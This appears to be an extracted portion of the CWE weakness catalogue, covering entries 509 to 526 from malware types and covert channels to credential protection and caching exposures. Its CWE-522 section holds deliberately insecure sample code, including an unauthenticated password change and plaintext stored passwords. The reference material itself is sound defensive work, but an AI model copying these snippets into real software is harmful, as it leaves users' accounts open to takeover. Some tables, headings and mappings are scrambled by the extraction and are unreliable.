<td>Trojan Horse</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>c</td>
<td>904</td>
<td>SFP Primary Cluster: Malware</td>
<td>888</td>
</tr>
</tbody>
</table>
CWE-509: Replicating Malicious Code (Virus or Worm)

**Weakness ID:** 509 *(Weakness Base)*  
**Status:** Incomplete

**Description**

**Summary**

Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or software.

**Time of Introduction**

- Implementation
- Operation

**Common Consequences**

- Confidentiality
- Integrity
- Availability
- Execute unauthorized code or commands

**Potential Mitigations**

**Operation**

Antivirus software scans for viruses or worms.

**Installation**

Always verify the integrity of the software that is being installed.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>507</td>
<td>Trojan Horse</td>
<td>699</td>
<td>855</td>
</tr>
<tr>
<td></td>
<td></td>
<td>904</td>
<td>SFP Primary Cluster: Malware</td>
<td>1000</td>
<td>1333</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Landwehr</td>
<td>Non-Replicating</td>
</tr>
</tbody>
</table>

CWE-510: Trapdoor

**Weakness ID:** 510 *(Weakness Base)*  
**Status:** Incomplete

**Description**

**Summary**

A trapdoor is a hidden piece of code that responds to a special input, allowing its user access to resources without passing through the normal security enforcement mechanism.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Common Consequences**

- Confidentiality
- Integrity
- Availability
- Execute unauthorized code or commands
- Bypass protection mechanism

**Detection Methods**
Automated Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Inter-application Flow Analysis
Binary / Bytecode simple extractor – strings, ELF readers, etc.

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Generated Code Inspection

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Automated Monitored Execution
Forced Path Execution
Debugger
Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Cost effective for partial coverage:
Formal Methods / Correct-By-Construction

Potential Mitigations

Installation
Always verify the integrity of the software that is being installed.

Testing
Identify and closely inspect the conditions for entering privileged areas of the code, especially those related to authentication, process invocation, and network communications.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🍀</td>
<td>506</td>
<td>Embedded Malicious Code</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>854</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☢</td>
<td>904</td>
<td>SFP Primary Cluster: Malware</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1333</td>
</tr>
</tbody>
</table>
CWE-511: Logic/Time Bomb

**Description**

**Summary**
The software contains code that is designed to disrupt the legitimate operation of the software (or its environment) when a certain time passes, or when a certain logical condition is met.

**Extended Description**
When the time bomb or logic bomb is detonated, it may perform a denial of service such as crashing the system, deleting critical data, or degrading system response time. This bomb might be placed within either a replicating or non-replicating Trojan horse.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- Language-independent

**Architectural Paradigms**
- Mobile Application

**Common Consequences**
- Other
- Integrity
- Varies by context
- Alter execution logic

**Demonstrative Examples**
Typical examples of triggers include system date or time mechanisms, random number generators, and counters that wait for an opportunity to launch their payload. When triggered, a time-bomb may deny service by crashing the system, deleting files, or degrading system response-time.

**Potential Mitigations**

**Installation**
Always verify the integrity of the software that is being installed.

**Testing**
Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>506</td>
<td>Embedded Malicious Code</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td>☐</td>
<td>1000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>☐</td>
<td>904</td>
<td>SFP Primary Cluster: Malware</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td>☐</td>
<td></td>
<td></td>
<td>1333</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Landwehr</td>
<td>Trapdoor</td>
</tr>
</tbody>
</table>

**References**
Summary
The software collects personally identifiable information about a human user or the user's activities, but the software accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the software.

Extended Description
"Spyware" is a commonly used term with many definitions and interpretations. In general, it is meant to software that collects information or installs functionality that human users might not allow if they were fully aware of the actions being taken by the software. For example, a user might expect that tax software would collect a social security number and include it when filing a tax return, but that same user would not expect gaming software to obtain the social security number from that tax software's data.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Common Consequences
Confidentiality
Read application data

Potential Mitigations
Operation
Use spyware detection and removal software.
Installation
Always verify the integrity of the software that is being installed.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>506</td>
<td>Embedded Malicious Code</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>904</td>
<td>SFP Primary Cluster: Malware</td>
<td></td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-513: Intentionally Introduced Nonmalicious Weakness

Category ID: 513 (Category) Status: Incomplete

Description
Summary
Nonmalicious introduction of weaknesses into software can still render it vulnerable to various attacks.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>505</td>
<td>Intentionally Introduced Weakness</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>517</td>
<td>Other Intentional, Nonmalicious Weakness</td>
<td></td>
<td>699</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Landwehr</td>
<td>Nonmalicious</td>
</tr>
</tbody>
</table>

CWE-514: Covert Channel

Weakness ID: 514 (Weakness Class) Status: Incomplete

Description
Summary
A covert channel is a path that can be used to transfer information in a way not intended by the system's designers.

Extended Description
Typically the system has not given authorization for the transmission and has no knowledge of its occurrence.

**Time of Introduction**
- Implementation
- Operation

**Common Consequences**
- Confidentiality
- Access Control
- Read application data
- Bypass protection mechanism

**Detection Methods**
- Architecture / Design Review
- SOAR Partial

According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>418</td>
<td>Channel Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>518</td>
<td>Inadvertently Introduced Weakness</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>912</td>
<td>Hidden Functionality</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>968</td>
<td>SFP Secondary Cluster: Covert Channel</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>385</td>
<td>Covert Timing Channel</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>515</td>
<td>Covert Storage Channel</td>
<td>699</td>
</tr>
</tbody>
</table>

**Theoretical Notes**

A covert channel can be thought of as an emergent resource, meaning that it was not an originally intended resource, however it exists due to the application's behaviors.

**Taxonomy Mappings**

| Mapped Taxonomy Name | Mapped Node Name | Landwehr | Covert Channel |

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>463</td>
<td>Padding Oracle Crypto Attack</td>
<td></td>
</tr>
</tbody>
</table>

**CWE-515: Covert Storage Channel**

**Weakness ID: 515 (Weakness Base)**

**Status:** Incomplete

**Description**

**Summary**

A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information.

**Extended Description**

Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.
CWE Version 2.11
CWE-516: DEPRECATED (Duplicate): Covert Timing Channel

Time of Introduction
• Implementation

Common Consequences
Confidentiality
Read application data
Covert storage channels may provide attackers with important information about the system in question.

Integrity
Confidentiality
Read application data
If these messages or packets are sent with unnecessary data contained within, it may tip off malicious listeners as to the process that created the message. With this information, attackers may learn any number of things, including the hardware platform, operating system, or algorithms used by the sender. This information can be of significant value to the user in launching further attacks.

Likelihood of Exploit
High

Demonstrative Examples
An excellent example of covert storage channels in a well known application is the ICMP error message echoing functionality. Due to ambiguities in the ICMP RFC, many IP implementations use the memory within the packet for storage or calculation. For this reason, certain fields of certain packets -- such as ICMP error packets which echo back parts of received messages -- may contain flaws or extra information which betrays information about the identity of the target operating system. This information is then used to build up evidence to decide the environment of the target. This is the first crucial step in determining if a given system is vulnerable to a particular flaw and what changes must be made to malicious code to mount a successful attack.

Potential Mitigations
Implementation
Ensure that all reserved fields are set to zero before messages are sent and that no unnecessary information is included.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>514</td>
<td>Covert Channel</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>860</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>968</td>
<td>SFP Secondary Cluster: Covert Channel</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Landwehr</td>
<td>Storage</td>
</tr>
<tr>
<td>CLASP</td>
<td>Covert storage channel</td>
</tr>
</tbody>
</table>

CWE-516: DEPRECATED (Duplicate): Covert Timing Channel

Weakness ID: 516 (Deprecated Weakness Base)

Description
Summary
This weakness can be found at CWE-385.

CWE-517: Other Intentional, Nonmalicious Weakness

Category ID: 517 (Category)

Description
Summary
Other kinds of intentional but nonmalicious security flaws are possible. Functional requirements that are written without regard to security requirements can lead to such flaws; one of the flaws exploited by the "Internet worm" [3] (case U10) could be placed in this category.

### CWE-518: Inadvertently Introduced Weakness

**Category ID:** 518 (Category)  
**Status:** Incomplete

**Description**

**Summary**

The software contains a weakness that was inadvertantly introduced by the developer.

**Extended Description**

Inadvertent flaws may occur in requirements; they may also find their way into software during specification and coding. Although many of these are detected and removed through testing, some flaws can remain undetected and later cause problems during operation and maintenance of the software system. For a software system composed of many modules and involving many programmers, flaws are often difficult to find and correct because module interfaces are inadequately documented and global variables are used. The lack of documentation is especially troublesome during maintenance when attempts to fix existing flaws often generate new flaws because maintainers lack understanding of the system as a whole. Although inadvertent flaws do not usually pose an immediate threat to the security of the system, the weakness resulting from a flaw may be exploited by an intruder (see case D1).

**Time of Introduction**

- Operation
- Architecture and Design
- Implementation

### CWE-519: .NET Environment Issues

**Category ID:** 519 (Category)  
**Status:** Draft

**Description**

**Summary**

This category lists weaknesses related to environmental problems in .NET framework applications.

### Maintenance Notes

This entry is being considered for deprecation. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree. It cannot be deprecated until after the CWE team has reviewed whether other CWE elements are appropriately capturing the "location" in which the weaknesses are introduced.
CWE-520: .NET Misconfiguration: Use of Impersonation

Weakness ID: 520 (Weakness Variant)  
Status: Incomplete

Description

Summary
Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks.

Extended Description
.NET server applications can optionally execute using the identity of the user authenticated to the client. The intention of this functionality is to bypass authentication and access control checks within the .NET application code. Authentication is done by the underlying web server (Microsoft Internet Information Service IIS), which passes the authenticated token, or unauthenticated anonymous token, to the .NET application. Using the token to impersonate the client, the application then relies on the settings within the NTFS directories and files to control access. Impersonation enables the application, on the server running the .NET application, to both execute code and access resources in the context of the authenticated and authorized user.

Time of Introduction
• Architecture and Design
• Implementation
• Operation

Common Consequences
Access Control
Gain privileges / assume identity

Potential Mitigations
Operation
Run the application with limited privilege to the underlying operating and file system.

Taxonomy Mappings
Anonymous Tool Vendor (under NDA)

CWE-521: Weak Password Requirements

Weakness ID: 521 (Weakness Base)  
Status: Draft

Description

Summary
The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.

Extended Description
An authentication mechanism is only as strong as its credentials. For this reason, it is important to require users to have strong passwords. Lack of password complexity significantly reduces the search space when trying to guess user’s passwords, making brute-force attacks easier.

Time of Introduction
• Architecture and Design
CWE Version 2.11
CWE-522: Insufficiently Protected Credentials

• Implementation

Common Consequences
Access Control
Gain privileges / assume identity
An attacker could easily guess user passwords and gain access to user accounts.

Potential Mitigations
Architecture and Design
Enforce usage of strong passwords. A password strength policy should contain the following attributes:
- Minimum and maximum length;
- Require mixed character sets (alpha, numeric, special, mixed case);
- Do not contain user name;
- Expiration;
- No password reuse.

Architecture and Design
Authentication mechanisms should always require sufficiently complex passwords and require that they be periodically changed.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>255</td>
<td>Credentials Management</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>287</td>
<td>Improper Authentication</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>951</td>
<td>SFP Secondary Cluster: Insecure Authentication Policy</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>258</td>
<td>Empty Password in Configuration File</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings
<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>(under NDA)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A3</td>
<td>CWE More Specific</td>
<td>Broken Authentication and Session Management</td>
</tr>
</tbody>
</table>

Related Attack Patterns
<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>16</td>
<td>Dictionary-based Password Attack</td>
</tr>
<tr>
<td>49</td>
<td>Password Brute Forcing</td>
</tr>
<tr>
<td>55</td>
<td>Rainbow Table Password Cracking</td>
</tr>
<tr>
<td>70</td>
<td>Try Common(default) Usernames and Passwords</td>
</tr>
<tr>
<td>112</td>
<td>Brute Force</td>
</tr>
</tbody>
</table>

References

CWE-522: Insufficiently Protected Credentials
Weakness ID: 522 (Weakness Base) Status: Incomplete
Description
Summary
This weakness occurs when the application transmits or stores authentication credentials and uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

Time of Introduction
• Architecture and Design
• Implementation

Common Consequences
Access Control
Gain privileges / assume identity
An attacker could gain access to user accounts and access sensitive data used by the user accounts.

Demonstrative Examples

Example 1:
This code changes a user's password.

**PHP Example:**
```
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
    SetUserPassword($user, $pass);
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

Example 2:
The following code reads a password from a properties file and uses the password to connect to a database.

**Java Example:**
```
... Properties prop = new Properties();
    prop.load(new FileInputStream("config.properties"));
    String password = prop.getProperty("password");
    DriverManager.getConnection(url, usr, password);
...```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Example 3:
The following code reads a password from the registry and uses the password to create a new network credential.

**Java Example:**
```
... String password = regKey.GetValue(passKey).toString();
    NetworkCredential netCred = new NetworkCredential(username, password, domain);
...```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

Example 4:
Both of these examples verify a password by comparing it to a stored compressed version.

**C/C++ Example:**
```
int VerifyAdmin(char *password) {
    if (strcmp(compress(password), compressed_password)) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```
Java Example:

```java
int VerifyAdmin(String password) {
    if (passwd.Equals(compress(password), compressed_password)) {
        return(0);
    }
    //Diagnostic Mode
    return(1);
}
```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

Example 5:
The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

Java Example:

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

ASP.NET Example:

```
...<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0944</td>
<td>Web application password change utility doesn't check the original password.</td>
</tr>
<tr>
<td>CVE-2005-0408</td>
<td>chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.</td>
</tr>
<tr>
<td>CVE-2005-3435</td>
<td>product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.</td>
</tr>
<tr>
<td>CVE-2007-0681</td>
<td>Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
Use an appropriate security mechanism to protect the credentials.

Architecture and Design
Make appropriate use of cryptography to protect the credentials.

Implementation
Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
CWE Version 2.11
CWE-523: Unprotected Transport of Credentials

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>718</td>
<td>OWASP Top Ten 2007 Category A7 - Broken Authentication</td>
<td>629</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>and Session Management</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication</td>
<td>711</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>and Session Management</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>930</td>
<td>OWASP Top Ten 2013 Category A2 - Broken Authentication</td>
<td>928</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>and Session Management</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>256</td>
<td>Plaintext Storage of a Password</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>260</td>
<td>Password in Configuration File</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>523</td>
<td>Unprotected Transport of Credentials</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>549</td>
<td>Missing Password Field Masking</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>555</td>
<td>J2EE Misconfiguration: Plaintext Password in Configuration File</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor (under NDA)</td>
<td></td>
<td></td>
<td>Broken Authentication and Session Management</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A7</td>
<td>CWE More Specific</td>
<td>Broken Authentication and Session Management</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A3</td>
<td>CWE More Specific</td>
<td>Broken Authentication and Session Management</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>50</td>
<td>Password Recovery Exploitation</td>
<td></td>
</tr>
<tr>
<td>102</td>
<td>Session Sidejacking</td>
<td></td>
</tr>
</tbody>
</table>

References


CWE-523: Unprotected Transport of Credentials

Weakness ID: 523 (Weakness Variant) Status: Incomplete

Description

Summary

Login pages not using adequate measures to protect the user name and password while they are in transit from the client to the server.

Time of Introduction

- Architecture and Design

Common Consequences

- Access Control
- Gain privileges / assume identity

Potential Mitigations
Operation
System Configuration
Enforce SSL use for the login page or any page used to transmit user credentials or other sensitive information. Even if the entire site does not use SSL, it MUST use SSL for login. Additionally, to help prevent phishing attacks, make sure that SSL serves the login page. SSL allows the user to verify the identity of the server to which they are connecting. If the SSL serves login page, the user can be certain they are talking to the proper end system. A phishing attack would typically redirect a user to a site that does not have a valid trusted server certificate issued from an authorized supplier.

Background Details
SSL (Secure Socket Layer) provides data confidentiality and integrity to HTTP. By encrypting HTTP messages, SSL protects from attackers eavesdropping or altering message contents.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>522</td>
<td>Insufficiently Protected Credentials</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>930</td>
<td>OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management</td>
<td>928</td>
</tr>
<tr>
<td></td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Anonymous Tool Vendor (under NDA)</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>102</td>
<td>Session Sidejacking</td>
<td></td>
</tr>
</tbody>
</table>

CWE-524: Information Exposure Through Caching

Weakness ID: 524 (Weakness Variant)

Status: Incomplete

Description

Summary
The application uses a cache to maintain a pool of objects, threads, connections, pages, or passwords to minimize the time it takes to access them or the resources to which they connect. If implemented improperly, these caches can allow access to unauthorized information or cause a denial of service vulnerability.

Time of Introduction
• Implementation

Common Consequences
Confidentiality
Read application data

Potential Mitigations

Architecture and Design
Protect information stored in cache.

Architecture and Design
Do not store unnecessarily sensitive information in the cache.

Architecture and Design
Consider using encryption in the cache.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>965</td>
<td>SFP Secondary Cluster: Insecure Session Management</td>
<td>888</td>
</tr>
</tbody>
</table>
CWE-525: Information Exposure Through Browser Caching

**Description**

Summary

For each web page, the application should have an appropriate caching policy specifying the extent to which the page and its form fields should be cached.

Time of Introduction

- Implementation

Common Consequences

Confidentiality

Read application data

Browsers often store information in a client-side cache, which can leave behind sensitive information for other users to find and exploit, such as passwords or credit card numbers. The locations at most risk include public terminals, such as those in libraries and Internet cafes.

Potential Mitigations

Architecture and Design

Protect information stored in cache.

Architecture and Design

Implementation

Use a restrictive caching policy for forms and web pages that potentially contain sensitive information.

Architecture and Design

Do not store unnecessarily sensitive information in the cache.

Architecture and Design

Consider using encryption in the cache.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>524</td>
<td>Information Exposure Through Caching</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>723</td>
<td>OWASP Top Ten 2004 Category A2 - Broken Access Control</td>
<td>711</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1119</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
<td>711</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1120</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>966</td>
<td>SFP Secondary Cluster: Other Exposures</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1383</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anonymous Tool Vendor (under NDA)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A2</td>
<td>CWE More Specific</td>
<td>Broken Access Control</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A3</td>
<td>CWE More Specific</td>
<td>Broken Authentication and Session Management</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

CAPEC-ID 204: Lifting Sensitive Data Embedded in Cache
CWE-526: Information Exposure Through Environmental Variables

Weakness ID: 526 (Weakness Variant)  Status: Incomplete

Description

Summary
Environmental variables may contain sensitive information about a remote server.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Common Consequences
Confidentiality
Read application data

Potential Mitigations
Architecture and Design
Protect information stored in environment variable from being exposed to the user.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
